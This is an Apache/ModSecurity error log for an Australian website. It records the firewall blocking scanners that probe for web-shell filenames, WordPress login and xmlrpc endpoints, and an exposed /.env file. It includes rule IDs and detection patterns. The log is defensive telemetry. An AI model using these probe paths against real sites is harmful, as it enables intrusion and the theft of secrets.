[Mon Mar 16 19:54:35.628283 2026] [:error] [pid 35840:tid 35911] [client 64.89.163.113:65515] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "abfve0JFzfEsmtPx-M0IqwAAAI4"]
[Mon Mar 16 19:54:36.238920 2026] [:error] [pid 1871:tid 1878] [client 64.89.163.113:62948] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "abfvfDinTnZ8uiUPekE6xwAAAYU"]
[Mon Mar 16 19:54:36.791549 2026] [:error] [pid 1871:tid 1886] [client 64.89.163.113:54288] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "abfvfDinTnZ8uiUPekE7BAAAAY0"]
[Mon Mar 16 19:54:37.308578 2026] [:error] [pid 36198:tid 36206] [client 64.89.163.113:54287] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "abfvfelL1GNckmsdWlM0JQAAAQU"]
[Mon Mar 16 20:15:04.011817 2026] [:error] [pid 35839:tid 35889] [client 206.162.251.177:38319] [client 206.162.251.177] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||windfarmcoolants.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/company"] [unique_id "abf0SKxyv6h8-aZrncsLywAAAFM"], referer: https://windfarmcoolants.com.au/company
[Mon Mar 16 20:15:04.464794 2026] [:error] [pid 1871:tid 1880] [client 88.216.249.199:61689] [client 88.216.249.199] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||windfarmcoolants.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/company-profile"] [unique_id "abf0SDinTnZ8uiUPekFD6wAAAYc"], referer: https://windfarmcoolants.com.au/company-profile
[Mon Mar 16 20:15:04.467083 2026] [:error] [pid 35929:tid 35934] [client 89.47.127.11:56211] [client 89.47.127.11] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||windfarmcoolants.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/who-we-are"] [unique_id "abf0SNW47dGpmA63hwSOVwAAAMM"], referer: https://windfarmcoolants.com.au/who-we-are
[Mon Mar 16 20:15:05.149778 2026] [:error] [pid 1871:tid 1877] [client 178.171.50.72:63669] [client 178.171.50.72] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||windfarmcoolants.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/company"] [unique_id "abf0STinTnZ8uiUPekFD7gAAAYQ"], referer: https://windfarmcoolants.com.au/company
[Mon Mar 16 20:15:05.453051 2026] [:error] [pid 35838:tid 35865] [client 178.92.82.239:45065] [client 178.92.82.239] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||windfarmcoolants.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/who-we-are"] [unique_id "abf0SRroTe-x3JLtmo6i8wAAABc"], referer: https://windfarmcoolants.com.au/who-we-are
[Mon Mar 16 20:15:05.914508 2026] [:error] [pid 35838:tid 35846] [client 5.249.179.58:36757] [client 5.249.179.58] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||windfarmcoolants.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/company-profile"] [unique_id "abf0SRroTe-x3JLtmo6i9AAAAAQ"], referer: https://windfarmcoolants.com.au/company-profile
[Mon Mar 16 20:15:06.828916 2026] [:error] [pid 1871:tid 1897] [client 178.171.35.215:40089] [client 178.171.35.215] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||windfarmcoolants.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/company-profile"] [unique_id "abf0SjinTnZ8uiUPekFD-AAAAZg"], referer: https://windfarmcoolants.com.au/company-profile
[Tue Mar 17 00:31:45.282759 2026] [:error] [pid 45652:tid 45676] [client 20.120.91.203:16672] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Tue Mar 17 00:31:45.499386 2026] [:error] [pid 45652:tid 45666] [client 20.120.91.203:16672] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Tue Mar 17 00:31:45.984991 2026] [:error] [pid 45652:tid 45663] [client 20.120.91.203:16672] File does not exist: /usr/local/apache/htdocs/suspended-page/rip.php
[Tue Mar 17 00:31:46.328587 2026] [:error] [pid 45652:tid 45660] [client 20.120.91.203:16672] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Tue Mar 17 00:31:46.859467 2026] [:error] [pid 45652:tid 45675] [client 20.120.91.203:16672] File does not exist: /usr/local/apache/htdocs/suspended-page/cache.php
[Tue Mar 17 00:31:47.164440 2026] [:error] [pid 45652:tid 45676] [client 20.120.91.203:16672] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Tue Mar 17 00:31:47.384719 2026] [:error] [pid 45652:tid 45673] [client 20.120.91.203:16672] File does not exist: /usr/local/apache/htdocs/suspended-page/an.php
[Tue Mar 17 00:31:47.812703 2026] [:error] [pid 45652:tid 45663] [client 20.120.91.203:16672] [client 20.120.91.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abgwc_eWZ4w4tc07R6kwJAAAAMg"]
[Tue Mar 17 00:31:50.693580 2026] [:error] [pid 45404:tid 45529] [client 20.120.91.203:17381] [client 20.120.91.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abgwdmcrPifELUd8UWD0VAAAAAw"]
[Tue Mar 17 00:31:53.476895 2026] [:error] [pid 45652:tid 45661] [client 20.120.91.203:16455] [client 20.120.91.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abgwefeWZ4w4tc07R6kwNwAAAMY"]
[Tue Mar 17 00:31:56.962740 2026] [:error] [pid 45424:tid 45557] [client 20.120.91.203:17322] [client 20.120.91.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abgwfIBy2Qv_YY3oWK6tLgAAAE0"]
[Tue Mar 17 07:56:17.699449 2026] [:error] [pid 45917:tid 46013] [client 185.223.152.252:41221] [client 185.223.152.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.252, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "abiYoRMMhmeqL5fT_heyGwAAAJg"]
[Tue Mar 17 07:56:17.703897 2026] [:error] [pid 45917:tid 46013] [client 185.223.152.252:41221] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Mar 17 15:30:59.483272 2026] [:error] [pid 15011:tid 15066] [client 37.140.223.217:47679] [client 37.140.223.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.217, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "abkDM8NtgHlAHiPlDyo21AAAAdE"]
[Tue Mar 17 15:30:59.487302 2026] [:error] [pid 15011:tid 15066] [client 37.140.223.217:47679] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Mar 17 18:51:34.601105 2026] [:error] [pid 15013:tid 15077] [client 94.247.172.129:41704] [client 94.247.172.129] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.windfarmcoolants.com.au|F|4"] [data "close, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "abkyNlZc-p7DonmJmm00HwAAAgA"]
[Wed Mar 18 07:48:44.005182 2026] [:error] [pid 13716:tid 13739] [client 20.46.120.203:24185] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Wed Mar 18 07:48:44.122955 2026] [:error] [pid 13716:tid 13742] [client 20.46.120.203:24185] File does not exist: /usr/local/apache/htdocs/suspended-page/lite.php
[Wed Mar 18 07:48:44.268478 2026] [:error] [pid 13716:tid 13725] [client 20.46.120.203:24185] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Wed Mar 18 07:48:44.390887 2026] [:error] [pid 13716:tid 13740] [client 20.46.120.203:24185] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Wed Mar 18 07:48:44.511699 2026] [:error] [pid 13716:tid 13720] [client 20.46.120.203:24185] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Wed Mar 18 07:48:44.896959 2026] [:error] [pid 13716:tid 13732] [client 20.46.120.203:24185] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Wed Mar 18 07:48:45.041008 2026] [:error] [pid 13716:tid 13727] [client 20.46.120.203:24185] File does not exist: /usr/local/apache/htdocs/suspended-page/term.php
[Wed Mar 18 07:48:45.158437 2026] [:error] [pid 13716:tid 13731] [client 20.46.120.203:24185] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Wed Mar 18 07:48:45.278287 2026] [:error] [pid 13716:tid 13738] [client 20.46.120.203:24185] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Wed Mar 18 07:48:45.410016 2026] [:error] [pid 13716:tid 13729] [client 20.46.120.203:24185] [client 20.46.120.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/"] [unique_id "abnoXWWKzQVHkZkUHaRGcAAAAUs"]
[Wed Mar 18 07:48:45.888904 2026] [:error] [pid 13716:tid 13733] [client 20.46.120.203:4708] [client 20.46.120.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/"] [unique_id "abnoXWWKzQVHkZkUHaRGdwAAAU8"]
[Wed Mar 18 07:48:46.347275 2026] [:error] [pid 44966:tid 45043] [client 20.46.120.203:24160] [client 20.46.120.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/"] [unique_id "abnoXrHml2_01Zq4-13aSgAAAIY"]
[Wed Mar 18 07:48:46.816334 2026] [:error] [pid 13716:tid 13735] [client 20.46.120.203:24191] [client 20.46.120.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/"] [unique_id "abnoXmWKzQVHkZkUHaRGewAAAVE"]
[Wed Mar 18 07:52:58.197556 2026] [:error] [pid 44966:tid 45057] [client 20.115.5.235:17814] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Wed Mar 18 07:52:58.413552 2026] [:error] [pid 44966:tid 45050] [client 20.115.5.235:17814] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Wed Mar 18 07:52:58.951011 2026] [:error] [pid 44966:tid 45045] [client 20.115.5.235:17814] File does not exist: /usr/local/apache/htdocs/suspended-page/rip.php
[Wed Mar 18 07:52:59.234159 2026] [:error] [pid 44966:tid 45046] [client 20.115.5.235:17814] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Wed Mar 18 07:52:59.767839 2026] [:error] [pid 44966:tid 45047] [client 20.115.5.235:17814] File does not exist: /usr/local/apache/htdocs/suspended-page/cache.php
[Wed Mar 18 07:53:00.046849 2026] [:error] [pid 44966:tid 45043] [client 20.115.5.235:17814] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Wed Mar 18 07:53:00.263789 2026] [:error] [pid 44966:tid 45056] [client 20.115.5.235:17814] File does not exist: /usr/local/apache/htdocs/suspended-page/an.php
[Wed Mar 18 07:53:00.690610 2026] [:error] [pid 44966:tid 45041] [client 20.115.5.235:17814] [client 20.115.5.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abnpXLHml2_01Zq4-13e1gAAAIQ"]
[Wed Mar 18 07:53:03.001605 2026] [:error] [pid 45069:tid 45081] [client 20.115.5.235:18395] [client 20.115.5.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abnpXzNzUMBULZVa94wX4QAAAMo"]
[Wed Mar 18 07:53:04.390402 2026] [:error] [pid 44966:tid 45038] [client 20.115.5.235:25299] [client 20.115.5.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abnpYLHml2_01Zq4-13e3QAAAIE"]
[Wed Mar 18 07:53:08.462075 2026] [:error] [pid 44966:tid 45057] [client 20.115.5.235:18369] [client 20.115.5.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abnpZLHml2_01Zq4-13e7wAAAJQ"]
[Wed Mar 18 08:13:20.669835 2026] [:error] [pid 13676:tid 13684] [client 20.2.90.103:41350] [client 20.2.90.103] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "abnuIGxDEHR5lvAEVIgUgAAAAQY"]
[Wed Mar 18 21:43:56.547278 2026] [:error] [pid 53755:tid 53781] [client 193.36.225.87:35331] [client 193.36.225.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.87, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "abqsHKqw5ZSRshmIhWleGQAAAVg"]
[Wed Mar 18 21:43:56.551130 2026] [:error] [pid 53755:tid 53781] [client 193.36.225.87:35331] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Mar 19 02:19:58.784875 2026] [:error] [pid 19431:tid 19504] [client 216.73.163.216:58291] [client 216.73.163.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.163.216, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "abrszjioVgnJ_ZdBjcuQuwAAAFM"]
[Thu Mar 19 02:19:58.787884 2026] [:error] [pid 19431:tid 19504] [client 216.73.163.216:58291] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Mar 19 06:31:05.786606 2026] [:error] [pid 23988:tid 24007] [client 31.171.130.36:31013] [client 31.171.130.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.36, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "absnqWnlkSPXj2matr0ckgAAANA"]
[Thu Mar 19 06:31:05.790940 2026] [:error] [pid 23988:tid 24007] [client 31.171.130.36:31013] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Mar 19 10:00:52.273399 2026] [:error] [pid 25179:tid 25187] [client 173.239.218.213:49687] [client 173.239.218.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.213, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "abtY1GFzmTtmuBLc_LZTewAAA4Y"]
[Thu Mar 19 10:00:52.278842 2026] [:error] [pid 25179:tid 25187] [client 173.239.218.213:49687] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Mar 19 10:01:58.226851 2026] [:error] [pid 23882:tid 23920] [client 209.87.169.231:28023] File does not exist: /usr/local/apache/htdocs/suspended-page/manager.php
[Thu Mar 19 10:02:03.526486 2026] [:error] [pid 3278:tid 3302] [client 209.87.169.222:20131] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Thu Mar 19 10:02:05.862831 2026] [:error] [pid 23883:tid 23944] [client 209.87.169.210:22685] File does not exist: /usr/local/apache/htdocs/suspended-page/O-Simple.php
[Thu Mar 19 10:02:06.150348 2026] [:error] [pid 23883:tid 23944] [client 209.87.169.210:22685] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Thu Mar 19 10:02:08.356674 2026] [:error] [pid 25269:tid 25290] [client 209.87.169.211:49073] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Thu Mar 19 10:02:08.921482 2026] [:error] [pid 24925:tid 24953] [client 209.87.169.52:38845] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Thu Mar 19 10:02:09.193769 2026] [:error] [pid 24925:tid 24953] [client 209.87.169.52:38845] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Thu Mar 19 10:02:09.438336 2026] [:error] [pid 24925:tid 24953] [client 209.87.169.52:38845] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Thu Mar 19 10:02:09.941773 2026] [:error] [pid 24925:tid 24953] [client 209.87.169.52:38845] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Thu Mar 19 10:02:10.472095 2026] [:error] [pid 24925:tid 24953] [client 209.87.169.52:38845] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Thu Mar 19 10:02:10.704810 2026] [:error] [pid 24925:tid 24953] [client 209.87.169.52:38845] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Thu Mar 19 10:02:10.974563 2026] [:error] [pid 24925:tid 24953] [client 209.87.169.52:38845] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Thu Mar 19 10:02:11.237150 2026] [:error] [pid 24925:tid 24953] [client 209.87.169.52:38845] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Thu Mar 19 10:02:11.518208 2026] [:error] [pid 24925:tid 24953] [client 209.87.169.52:38845] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Thu Mar 19 10:04:12.071641 2026] [autoindex:error] [pid 25179:tid 25198] [client 209.87.169.244:61719] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 12:54:15.287879 2026] [:error] [pid 31205:tid 31241] [client 154.16.49.101:7335] [client 154.16.49.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "abuBd1u5gZKGrGz5P1Gn6gAAAVg"]
[Thu Mar 19 12:54:15.780652 2026] [:error] [pid 23882:tid 23904] [client 154.16.49.101:7570] [client 154.16.49.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/license.txt"] [unique_id "abuBd7WnClbtbN12M7-UWQAAAAI"]
[Thu Mar 19 12:54:16.301787 2026] [:error] [pid 25135:tid 25157] [client 154.16.49.101:7873] [client 154.16.49.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/feed/"] [unique_id "abuBeKKtE0dzgMctjFXtzAAAA1Q"]
[Thu Mar 19 20:33:01.035985 2026] [:error] [pid 1285:tid 1295] [client 45.131.195.25:51237] [client 45.131.195.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.25, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "abvs_VE95r3zR75X1HotoQAAAgg"]
[Thu Mar 19 20:33:01.039487 2026] [:error] [pid 1285:tid 1295] [client 45.131.195.25:51237] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Mar 19 22:18:59.527829 2026] [:error] [pid 1285:tid 1293] [client 34.139.95.246:54175] [client 34.139.95.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.139.95.246, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "abwF01E95r3zR75X1HpY0wAAAgY"]
[Thu Mar 19 22:18:59.531737 2026] [:error] [pid 1285:tid 1293] [client 34.139.95.246:54175] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Thu Mar 19 22:18:59.785900 2026] [:error] [pid 1285:tid 1291] [client 34.139.95.246:54175] [client 34.139.95.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "abwF01E95r3zR75X1HpY1AAAAgQ"]
